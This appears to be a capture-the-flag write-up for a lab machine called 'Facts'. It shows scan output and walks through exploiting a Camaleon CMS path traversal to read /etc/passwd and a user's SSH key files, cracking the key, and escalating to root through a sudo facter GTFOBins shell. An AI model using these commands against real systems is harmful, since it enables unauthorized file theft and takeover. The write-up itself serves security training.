Facts is a medium-difficulty machine that revolves around exploiting a vulnerable CMS hosted on facts.htb. Initial enumeration reveals multiple exposed services, including a web application and SSH. The key to gaining access lies in a path traversal vulnerability within the CMS, allowing authenticated users to download sensitive files. By leveraging this flaw, we can retrieve the SSH private key for the 'trivia' user, crack it, and gain initial access. From there, we can escalate privileges using a misconfigured sudo permission on the 'facter' command.
Nmap scan report for 10.129.104.102
Host is up (0.21s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_ 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open http nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to https://facts.htb/
54321/tcp open http Golang net/http server
|_http-server-header: MinIO
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 303
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 188FED1DAC45B5CC
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Sat, 31 Jan 2026 21:11:30 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>188FED1DAC45B5CC</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| GenericLines, Help, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 276
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 188FED198985507A
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Sat, 31 Jan 2026 21:11:12 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>188FED198985507A</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| HTTPOptions:
| HTTP/1.0 200 OK
| Vary: Origin
| Date: Sat, 31 Jan 2026 21:11:12 GMT
|_ Content-Length: 0
|_http-title: Did not follow redirect to https://10.129.104.102:9001
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port54321-TCP:V=7.98%I=7%D=1/31%Time=697E6FF2%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2B0,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nAc
SF:cept-Ranges:\x20bytes\r\nContent-Length:\x20276\r\nContent-Type:\x20app
SF:lication/xml\r\nServer:\x20MinIO\r\nStrict-Transport-Security:\x20max-a
SF:ge=31536000;\x20includeSubDomains\r\nVary:\x20Origin\r\nX-Amz-Id-2:\x20
SF:dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\r\nX-A
SF:mz-Request-Id:\x20188FED198985507A\r\nX-Content-Type-Options:\x20nosnif
SF:f\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Sat,\x2031\x20Ja
SF:n\x202026\x2021:11:12\x20GMT\r\n\r\n<\?xml\x20version=\"1\.0\"\x20encod
SF:ing=\"UTF-8\"\?>\n<Error><Code>InvalidRequest</Code><Message>Invalid\x2
SF:0Request\x20\(invalid\x20argument\)</Message><Resource>/</Resource><Req
SF:uestId>188FED198985507A</RequestId><HostId>dd9025bab4ad464b049177c95eb6
SF:ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>")%r(HTTPOptions,5
SF:9,"HTTP/1\.0\x20200\x20OK\r\nVary:\x20Origin\r\nDate:\x20Sat,\x2031\x20
SF:Jan\x202026\x2021:11:12\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSP
SF:Request,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,2CB,"HTTP/1\.0\x2
SF:0400\x20Bad\x20Request\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x2
SF:0303\r\nContent-Type:\x20application/xml\r\nServer:\x20MinIO\r\nStrict-
SF:Transport-Security:\x20max-age=31536000;\x20includeSubDomains\r\nVary:\
SF:x20Origin\r\nX-Amz-Id-2:\x20dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af
SF:9251148b658df7ac2e3e8\r\nX-Amz-Request-Id:\x20188FED1DAC45B5CC\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\
SF:r\nDate:\x20Sat,\x2031\x20Jan\x202026\x2021:11:30\x20GMT\r\n\r\n<\?xml\
SF:x20version=\"1\.0\"\x20encoding=\"UTF-8\"\?>\n<Error><Code>InvalidReque
SF:st</Code><Message>Invalid\x20Request\x20\(invalid\x20argument\)</Messag
SF:e><Resource>/nice\x20ports,/Trinity\.txt\.bak</Resource><RequestId>188F
SF:ED1DAC45B5CC</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3f
SF:d1af9251148b658df7ac2e3e8</HostId></Error>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ffuf -u "https://facts.htb/FUZZ" -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://facts.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
admin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 766ms]
search [Status: 200, Size: 19187, Words: 3276, Lines: 272, Duration: 999ms]
.txt [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 1515ms]
.css [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 174ms]
.js [Status: 200, Size: 1146, Words: 135, Lines: 10, Duration: 368ms]
ajax [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 689ms]
rss [Status: 200, Size: 183, Words: 20, Lines: 9, Duration: 1459ms]
.pdf [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 1337ms]
page [Status: 200, Size: 19593, Words: 3296, Lines: 282, Duration: 1626ms]
error [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 1426ms]
404 [Status: 200, Size: 4836, Words: 832, Lines: 115, Duration: 1365ms]
.gif [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 1456ms]
.jpg [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 1430ms]
Create account

Running camaleon cms Version 2.9.0
A path traversal vulnerability accessible via MediaController’s download_private_file method allows authenticated users to download any file on the web server Camaleon CMS is running on (depending on the file permissions).
Proof of concept:
An authenticated user can download the /etc/passwd file by visiting an URL such as:
https://example.com/admin/media/download_private_file?file=../../../../../../etc/passwd
download passwd to check for available user on the box and we find these users: root, william, trivia
using https://facts.htb/admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/authorized_keys to get authorized_keys to ssh private key name
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHZM0V0cbvqHqATcPwP5GaEDRzqedrZ59SihiPWiKVyJ
from this we know that ssh key pair type is ed25519 default naming id_ed25519 if it was ssh-rsa when the default naming id_rsa.
we use ssh2john to get the hash and crack it

chmod 600 id_ed25519 && ssh -i id_ed25519 trivia@<TARGET-IP>

running sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
we check GTFOBins for way to abuse facter
TF=$(mktemp -d)
echo 'exec("/bin/bash")' > $TF/x.rb
sudo facter --custom-dir=$TF x
